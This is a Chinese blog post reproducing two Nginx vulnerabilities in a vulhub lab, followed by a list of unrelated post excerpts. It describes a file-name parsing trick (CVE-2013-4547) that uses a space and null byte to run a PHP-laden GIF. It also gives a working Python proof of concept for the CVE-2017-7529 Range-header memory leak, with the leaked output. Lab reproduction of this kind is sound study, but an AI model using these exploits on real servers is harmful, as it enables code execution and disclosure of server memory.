当前位置：首页 > news >正文

Nginx漏洞复现

news 来源：原创 2025/9/20 22:02:20

vulhub起靶场

Nginx 文件名逻辑漏洞（CVE-2013-4547）

上传1.gif，内容为

<?php phpinfo();?>

http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php访问文件位置，这里0x00要改包

先访问/uploadfiles/1.gif a.php（a是用来占位置的）然后在

这里把a的61改成00，然后放包

解析成功

Nginx越界读取缓存漏洞（CVE-2017-7529）

docker起环境直接拿poc打

import requests
import time
import urllib3def cve20177529():try:# 构造请求头headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"}url = input('请输入目标URL:')# 获取正常响应的返回长度# verify=False防止ssl证书校验，allow_redirects=False，防止跳转导致误报的出现r1 = requests.get(url, headers=headers, verify=False, allow_redirects=False)url_len = len(r1.content)# 将数据长度加长，大于返回的正常长度addnum = 200final_len = url_len + addnum# 构造Range请求头，并加进headers中# headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",'Range': "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)}# 用构造的新的headers发送请求包,并输出结果r2 = requests.get(url, headers=headers, verify=False, allow_redirects=False)text = r2.textcode = r2.status_codeif ('ETag') in text and code == 206:print('存在Nginx整数溢出漏洞（CVE-2017-7529）,已输出到cve20177529_log.txt')# 将结果输出到文本上with open('cve20177529_log.txt', 'a', encoding="utf-8") as f:f.write('存在Nginx整数溢出漏洞（CVE-2017-7529）-------------' + time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) + '-------------\n' + r2.text)f.closeelse:print('未检测到漏洞')# 将结果输出到文本上with open('cve20177529_log.txt', 'a', encoding="utf-8") as f:f.write('未检测到漏洞-------------' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '-------------\n' + r2.text)f.closeexcept Exception as result:print(result)if __name__ == "__main__":urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)cve20177529()

存在Nginx整数溢出漏洞（CVE-2017-7529）-------------2025-04-08 19:26:35---------------00000000000000000002Content-Type: text/html; charset=utf-8Content-Range: bytes -200-611/612, 08 Apr 2025 11:18:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 612Last-Modified: Tue, 27 Jun 2017 13:40:50 GMTConnection: closeETag: "59526062-264"Accept-Ranges: bytes<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>body {width: 35em;margin: 0 auto;font-family: Tahoma, Verdana, Arial, sans-serif;}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>--00000000000000000002Content-Type: text/html; charset=utf-8Content-Range: bytes -9223372036854774384-611/612

得到敏感信息

Nginx漏洞复现

vulhub起靶场 Nginx 文件名逻辑漏洞（CVE-2013-4547） 上传1.gif，内容为 <?php phpinfo();?> http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php访问文件位置，这里0x00要改包先访问/uploadfiles/1.gif a.php&…...

编程日记 2025/9/20 22:02:20

数据结构|排序算法（二）插入排序希尔排序

一、插入排序 1.算法思想插入排序（Insertion Sort）是一种简单的排序算法，其基本思想是：将待排序的元素插入到已经有序的序列中，从而逐步构建有序序列。具体过程如下： 把待排序的数组分为已排序和未排…...

编程日记 2025/9/18 16:03:08

OpenBMC：BmcWeb 处理http请求5 检查权限

OpenBMC：BmcWeb 处理http请求4 处理路由对象-CSDN博客在通过url获取了路由对象后，如果该请求是有session的，那么下一步需要检查权限 1.validatePrivilege调用时传入了一个lambda(1)做为回调 validatePrivilege(req, asyncResp, rule,[req, asyncResp, &rule, params =…...

编程日记 2025/9/20 4:35:36

CentOS 系统磁盘扩容并挂载到根目录（/）的详细步骤

在使用 CentOS 系统时，经常会遇到需要扩展磁盘空间的情况。例如，当虚拟机的磁盘空间不足时，可以通过增加磁盘容量并将其挂载到根目录（/）来解决。以下是一个完整的操作流程，详细介绍了如何将新增的 10G 磁盘…...

编程日记 2025/9/20 21:59:30

Axure RP 9 for Mac 交互原型设计安装教程@[TOC](文章目录)

Axure RP 9 for Mac 交互原型设计安装教程TOC 一、介绍 Axure RP 9是一款功能强大的原型设计和协作工具。它不仅能够帮助用户快速创建出高质量的原型设计，还能促进团队成员之间的有效协作，从而极大地提高数字产品开发的效率和质量。拥有直观易用的界面…...

编程日记 2025/9/20 21:59:27

每日一题（小白）暴力娱乐篇19

样例： 6 1 1 4 5 1 4 输出： 56 66 52 44 54 64 分析题意可以得知，就是接收一串数字，将数字按照下标每次向右移动一位（末尾循环到第一位），每次移动玩计算一下下标和数字的乘积且累加。 ①接收…...

编程日记 2025/9/20 22:01:08

LeetCode 第53题：最大子数组和

题目描述： 给你一个整数数组nums，请你找出一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。子数组是数组中的一个连续部分。示例1: 输入：nums [-2,1,-3,4,-1,2,1,-5,4] 输出&#xff…...

编程日记 2025/9/17 1:05:01

顺序表：从数组到高效数据管理的进化之路

一、线性表：数据结构的 “基础骨架” 在数据结构的世界里，线性表是最基础的结构之一。它是由n个具有相同特性的数据元素组成的有限序列，就像一列整齐排列的士兵，每个元素都有唯一的前驱（除了第一个）和后继…...

编程日记 2025/9/20 13:18:13

TS知识补充第一篇 ✅

目录 1️⃣ any、unknow和never 2️⃣ 函数重载 3️⃣ typeof和keyof（配合构建字典类型的Demo，巨好用‼️） 4️⃣ TS的条件类型 5️⃣ TS的声明合并一、any、unknow和never any any类型表示一个值可以是任何类型。通常在不确定变量的类型…...

编程日记 2025/9/10 6:04:57

每日一题（小白）模拟娱乐篇18

今天和大家一起玩个小游戏，给小朋友分糖果🍬 由题知就是小朋友每次给左手边的小朋友分一半糖果，一轮下来如果是奇数糖果老师就给他补一个直到所有小朋友拥有相同数量的糖果，问问老师发放了多少糖果。用程序进行模拟的大概思路就是…...

编程日记 2025/9/9 18:08:59

Linux系统学习Day2——在Linux系统中开发OpenCV

一、OpenCV简介 OpenCV（Open Source Computer Vision Library）是一个开源的跨平台计算机视觉和机器学习库，广泛应用于图像处理、视频分析、物体检测等领域。它提供了丰富的算法和高效的工具集，支持C、Python等多种语言&#xff0c…...

编程日记 2025/9/20 13:59:14

Redisson 实现分布式锁

在平常的开发工作中，我们经常会用到锁，那么锁有什么用呢？锁主要是控制对共享资源的访问顺序，防止多个线程并发操作导致数据不一致的问题。经常可能会听到乐观锁、悲观锁、分布式锁、行锁、表锁等等，那么我们今天总结下…...

编程日记 2025/9/10 21:54:34

（适合中白）数据结构进阶篇——搜索专题(广度优先搜索算法BFS和深度优先搜索算法DFS)

深度优先搜索DFS&广度优先搜索BFS 深度优先搜索广度优先搜索深度优先搜索当碰到岔路口时，总是以深度作为前进的关键词，不碰到死胡同就不回头的这种搜索方式被称为深度优先搜索(Depth First Search) 深度优先搜索是一种枚举所有完整路径以遍历所有情…...

编程日记 2025/9/5 7:17:01

SGLang实战问题全解析：从分布式部署到性能调优的深度指南

引言：当高性能推理遇上复杂生产环境在大型语言模型(LLM)的生产部署中，SGLang以其革命性的RadixAttention和结构化编程能力，正成为越来越多企业的首选推理引擎。然而，当我们将32B/70B级别的大模型部署到实际生产环境时&#xff0…...

编程日记 2025/9/20 6:53:34

Java大视界：解码航天遥测数据的银河密码——从GB到PB的技术革命

当长征火箭划破苍穹的瞬间，每秒产生的遥测数据足以填满一部4K电影。在这场与星辰对话的征程中，Java大数据生态正扮演着解码宇宙密码的"数字炼金师"。本文将带您穿越三个认知维度，揭示Java技术栈如何重构航天数据分析的底层逻辑。 …...

编程日记 2025/9/19 16:32:26

《C++探幽：STL（string类源码的简易实现(下)）》

作者的个人gitee▶️ 作者的算法讲解主页每日一言：“驿寄梅花，鱼传尺素，砌成此恨无重数。🌸🌸” 接《C探幽：STL（string类源码的简易实现（上））》&#x1f534…...

编程日记 2025/9/12 4:23:27

求线性表的倒数第K项 (数组、头插法、尾插法)

给定一系列正整数，请设计一个尽可能高效的算法，查找倒数第K个位置上的数字。输入格式: 输入首先给出一个正整数K，随后是若干非负整数，最后以一个负整数表示结尾（该负数不算在序列内，不要处理&#xff09…...

编程日记 2025/9/19 2:12:09

rustdesk自建服务器怎么填写客户端配置信息

目录 # id、api、中继都怎么填？rustdesk程序启动后服务不自动启动 # id、api、中继都怎么填？ rustdesk程序启动后服务不自动启动完全退出RudtDesk程序（右下角托盘区有的话，需要右键点退出） 创建windows服务&#xff…...

编程日记 2025/9/17 21:17:10

4月8日日记

今天抖音刷到一个视频记了一下笔记想做自媒体，直播，抖音是最大的平台，但是我的号之前因为跟人互喷被封号了今天想把实名认证转移到新号上，试了一下竟然这次成功了，本以为能开直播了但是还是因为之前的号有违规记…...

编程日记 2025/9/9 16:38:34

VScode添加python解释器

先安装python扩展然后点ctrlshiftp搜索python:select，选择解析器（或者也可以直接点左下方的）...

编程日记 2025/8/20 10:11:44

Elasticsearch | ES索引模板、索引和索引别名的创建与管理

关注：CodingTechWork 引言在使用 Elasticsearch (ES) 和 Kibana 构建数据存储和分析系统时，索引模板、索引和索引别名的管理是关键步骤。本文将详细介绍如何通过 RESTful API 和 Kibana Dev Tools 创建索引模板、索引以及索引别名，并提供具…...

编程日记 2025/9/16 15:16:24

用 Python 造轮子：打造轻量级 HTTP 调试工具

目录一、为什么需要自建工具？ 二、核心功能设计三、技术选型四、分步实现第一步：搭建基础框架第二步：实现请求转发逻辑第三步：响应格式化处理第四步：历史记录存储五、进阶优化技巧六、使用示例七…...

编程日记 2025/9/19 15:21:04

java设计模式-原型模式

原型模式 1、原型模式(Prototype模式)是指：用原型实例指定创建对象的种类，并通过拷贝这些原型，创建新的对象 2、原型模式是一种创见性设计模式，允许一个对象再创建另一个可定制的对象，无需知道如何创建的细节。 3、工作…...

编程日记 2025/9/12 18:20:40

【Java设计模式】第9章原型模式讲解

9. 原型模式 9.1 原型模式讲解定义：通过拷贝原型实例创建新对象，无需调用构造函数。特点：创建型模式无需了解创建细节适用场景：类初始化消耗资源多对象创建过程繁琐（如属性赋值复杂）循环体中需创建大量对象优点：性能优于直接new简化创建流程缺点：必须实现clone()…...

编程日记 2025/9/10 20:54:21

Python 快速搭建一个小型的小行星轨道预测模型 Demo

目录 ✅ Demo 目标： 🧪 模型方案选择方案 1：开普勒 LSTM 混合预测（推荐 💡） 方案 2：全 AI：LSTM 直接拟合轨迹 🚧 环境准备 🔧 示例代码结构&#xff…...

编程日记 2025/9/6 16:33:25

【AI】Ragflow构建本地知识库

https://github.com/infiniflow/ragflow/blob/main/README_zh.md DeepSeek搭建的本地知识库很呆？不符合自己的预期？看完这个视频你就明白了！这样部署吊打其他的本地部署！跟着教程来，不怕学不会！_哔哩哔哩_…...

编程日记 2025/9/15 16:33:07

【Django】教程-12-柱状图

【Django】教程-1-安装创建项目目录结构介绍【Django】教程-2-前端-目录结构介绍【Django】教程-3-数据库相关介绍【Django】教程-4-一个增删改查的Demo 【Django】教程-5-ModelForm增删改查规则校验【正则钩子函数】【Django】教程-6-搜索框-条件查询前后端【Django】教程…...

编程日记 2025/9/13 14:50:59

市政消防栓智能监控管理系统（Axure高保真原型）

在城市的运转体系中，市政消防栓扮演着无可替代的关键角色，作为城市公共安全基础设施的核心，它是火灾扑救时的关键水源保障，其重要性不言而喻。当火灾这头 “猛兽” 突然来袭，市政消防栓就是那道阻止火势蔓延、守护生命…...

编程日记 2025/9/14 4:00:21

代码 # 2-10交叉熵代价函数的逻辑回归模型 import pandas as pd import numpy as np import matplotlib.pyplot as plt# 参数设置 iterations 1000 # 迭代次数 learning_rate 0.1 # 学习率 m_train 250 # 训练样本数量# 读入酒驾检测数据集 df pd.read_csv(alcohol_d…...

编程日记 2025/9/13 9:30:44

华为ar1200修改con口密码

<Huawei> <Huawei>sys Enter system view, return user view with CtrlZ. [Huawei]user-interface console 0 进入端口 [Huawei-ui-console0]authentication-mode pass 以pass模式登录 [Huawei-ui-console0]set authentication password cipher …...

编程日记 2025/9/8 11:31:28

Java 集合有序性与重复性总结及记忆技巧

Java 集合有序性与重复性总结及记忆技巧一、集合分类速查表集合类型是否有序是否允许重复记忆口诀ArrayList✅ 有序（插入顺序）✅ 可重复"数组列表，顺序记牢"LinkedList✅ 有序（插入顺序）✅ 可重复"…...

编程日记 2025/9/16 1:59:50

机器学习--词向量转换

引言在自然语言处理（NLP）的广阔领域中，计算机面临的一大挑战是理解人类语言的丰富性和复杂性。文本数据对于机器而言，最初只是一连串难以理解的字符。词向量转换便成为了一座关键的桥梁，它将文本中的单词映射为数值向…...

编程日记 2025/9/15 1:39:52

时序数据异常检测-综述

更新中异常检测基本概念广义的Out-of-Distribution（广义的OOD）来描述异常检测的相关问题。OOD包括五个相关的子领域，分别为Anomaly Detection（AD）、Novelty Detection（ND）、Open Set Recogntion（OSR）、Out-of-Distribution（OOD）和Outlier Detection（OD）。这5个…...

编程日记 2025/9/11 9:58:19

2025年Python的主要应用场景

李升伟编译 Python在2025年仍是最受欢迎和强大的编程语言之一。其简洁易读的语法以及庞大的库生态系统，使其成为各行业开发者的首选。无论是构建复杂的数据管道，还是自动化重复性任务，Python都能提供广泛的应用场景，以实现快速、…...

编程日记 2025/9/15 1:39:53

树的深度遍历和广度遍历

目录一、深度优先遍历（递归）二叉树的深度优先遍历（递归） 二、广度优先遍历二叉树的广度遍历一、深度优先遍历（递归） #include<iostream> #include<vector>using namespace std;const int N1…...

编程日记 2025/9/19 22:41:38

C++函数如何返回多个参数

在编程中，我们经常会遇到需要函数返回多个值的场景。虽然 C 函数不能直接返回多个参数，但通过一些间接的方法，我们可以轻松实现这一需求。本文将详细介绍几种常见的实现方式，并分析它们的优缺点和适用场景。 1. 引言在 C 中&…...

编程日记 2025/9/9 15:52:44

Python 实现的运筹优化系统代码详解(0-1规划指派问题)

一、引言在数学建模的广阔领域中，指派问题作为一类经典且重要的组合优化问题，频繁出现在各类实际场景里。例如，在人力资源管理中，如何将不同技能水平的员工高效地分配到各个项目，以实现项目成本最小化或收益最大化&am…...

编程日记 2025/9/11 8:38:27

深度集成学习不均衡样本图像分类

用五个不同的网络，然后对分类概率进行平均，得到分类结果。基本上分类精度可以提升10% 1.导入基本库 import torch import copy import torch.nn as nn import torchvision.models as models from torchvision import datasets from torchvision import…...

编程日记 2025/9/16 1:59:55

ubuntu 20.04 复现 LVI-SAM

1.环境配置 ubuntu20.04 ROS-Noetic GTSAM 4.0.2 Ceres 1.14.0 前面的我都安装过了，但Ceres 我安装的是 2.2.0,现在安装Ceres 1.14.0 sudo apt-get update sudo apt-get install cmake libgoogle-glog-dev libgflags-dev libatlas-base-dev libeigen3-dev lib…...

编程日记 2025/9/15 22:39:32

每日OJ题_剑指offer数组篇（剑指offer04+剑指offer11+剑指offer21）

目录剑指 Offer 04二维数组中的查找代码解析剑指 Offer 11旋转数组的最小数字代码解析1 代码解析2 剑指 Offer 21. 调整数组顺序使奇数位于偶数前面代码解析1 代码解析2 剑指 Offer 04二维数组中的查找 LCR 121. 寻找目标值 - 二维数组 - 力扣（LeetCo…...

编程日记 2025/9/14 21:00:53

使用 `tcpdump` 抓取 LiDAR 网络数据包详解

在调试机器人系统或自动驾驶平台时，我们经常需要分析网络中的 LiDAR（激光雷达）数据流。本文将介绍如何使用 tcpdump 工具对指定 IP 的数据包进行抓取和分析，特别是 LiDAR 数据的典型 UDP 报文。一、什么是 tcpdump？ …...

编程日记 2025/9/18 15:11:05

【NLP 55、强化学习与NLP】

万事开头难，苦尽便是甜 —— 25.4.8 一、什么是强化学习强化学习和有监督学习是机器学习中的两种不同的学习范式强化学习：目标是让智能体通过与环境的交互，学习到一个最优策略以最大化长期累积奖励。不告诉具体路线，首先去做…...

编程日记 2025/9/17 12:27:32

【Linux】单例模式及其在线程池中的应用

📢博客主页：https://blog.csdn.net/2301_779549673 📢博客仓库：https://gitee.com/JohnKingW/linux_test/tree/master/lesson 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正！ &…...

编程日记 2025/9/12 18:44:49

Ansible的使用2

#### 一、Ansible变量 ##### facts变量 > facts组件是Ansible用于采集被控节点机器的设备信息，比如IP地址、操作系统、以太网设备、mac 地址、时间/日期相关数据，硬件信息等 - setup模块 - 用于获取所有facts信息 shell ## 常用参数 filter…...

编程日记 2025/9/18 15:03:49

十三届蓝桥杯省赛A组扫描游戏

#算法/线段树 #算法/快读参考题解: 题解参考这题思路: 先将坐标进行极角排序,按照顺时针的先后顺序,如果出现两个坐标在一个象限中,我们就先判断这两个坐标是否在同一条直线上,如果在同一条直线上,我们按照离原点最近的长度进行排序之后,我们通过线段树的方法,定义结点tr[i]…...

编程日记 2025/9/11 13:56:42

Python 序列构成的数组(list.sort方法和内置函数sorted)

list.sort方法和内置函数sorted list.sort 方法会就地排序列表，也就是说不会把原列表复制一份。这也是这个方法的返回值是 None 的原因，提醒你本方法不会新建一个列表。在这种情况下返回 None 其实是 Python 的一个惯例：如果一个函数或者…...

编程日记 2025/9/20 17:48:50

C++类与对象进阶知识深度解析

目录一、再谈构造函数 （一）构造函数体赋值 （二）初始化列表 （三）成员变量初始化顺序 （四）explicit关键字二、static成员 （一）概念 （二&am…...

编程日记 2025/9/20 12:25:06

【机器学习案列】基于LightGBM算法的互联网防火墙异常行为检测：数据不平衡的解决方案

🧑 博主简介：曾任某智慧城市类企业算法总监，目前在美国市场的物流公司从事高级算法工程师一职，深耕人工智能领域，精通python数据挖掘、可视化、机器学习等，发表过AI相关的专利并多次在AI类比赛中获奖。CSDN…...

编程日记 2025/9/10 19:31:49

详解minio部署

MinIO 是一款高性能、开源的分布式对象存储解决方案，专为存储非结构化数据（如图片、视频、备份数据等）而设计。MinIO 在吞吐量和延迟上表现出高性能提供与 Amazon S3 完全兼容的 API，支持水平扩展，支持端到端加密、访问…...

编程日记 2025/9/10 11:00:41

校园AI体育：科技赋能教育，运动点亮未来

校园AI体育：科技赋能教育，运动点亮未来在数字化浪潮的推动下，人工智能（AI）已经悄然走进校园，成为教育领域的一股创新力量。而在体育教育中，AI技术的引入更是为传统体育教学注入了新的活力。校…...

编程日记 2025/9/9 21:18:48

Nginx 文件名逻辑漏洞（CVE-2013-4547）

Nginx越界读取缓存漏洞（CVE-2017-7529）

相关文章：